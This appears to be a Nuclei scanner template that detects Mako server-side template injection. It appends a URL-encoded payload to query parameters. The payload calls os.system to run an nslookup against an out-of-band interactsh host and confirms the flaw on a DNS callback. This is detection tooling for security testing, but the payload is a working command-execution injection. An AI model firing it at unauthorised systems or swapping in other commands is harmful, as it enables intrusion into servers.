id: mako-oob

info:
  name: Mako - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK
  severity: high
  reference:
    - https://www.makotemplates.org/
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "%24%7Bself.__init__.__globals__%5B%27util%27%5D.os.system%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D"

    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    skip-variables-check: true

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 490a0046304402204970d17ec35469391ae17dfe8ad7bfce1c59136d19703d5f6ce76438c69c5b7102203072e91a126318b0e65565ca7c6a454cd4ea04c3df22938f24ca9f760d1432d5:922c64590222798bb761d5b6d8e72950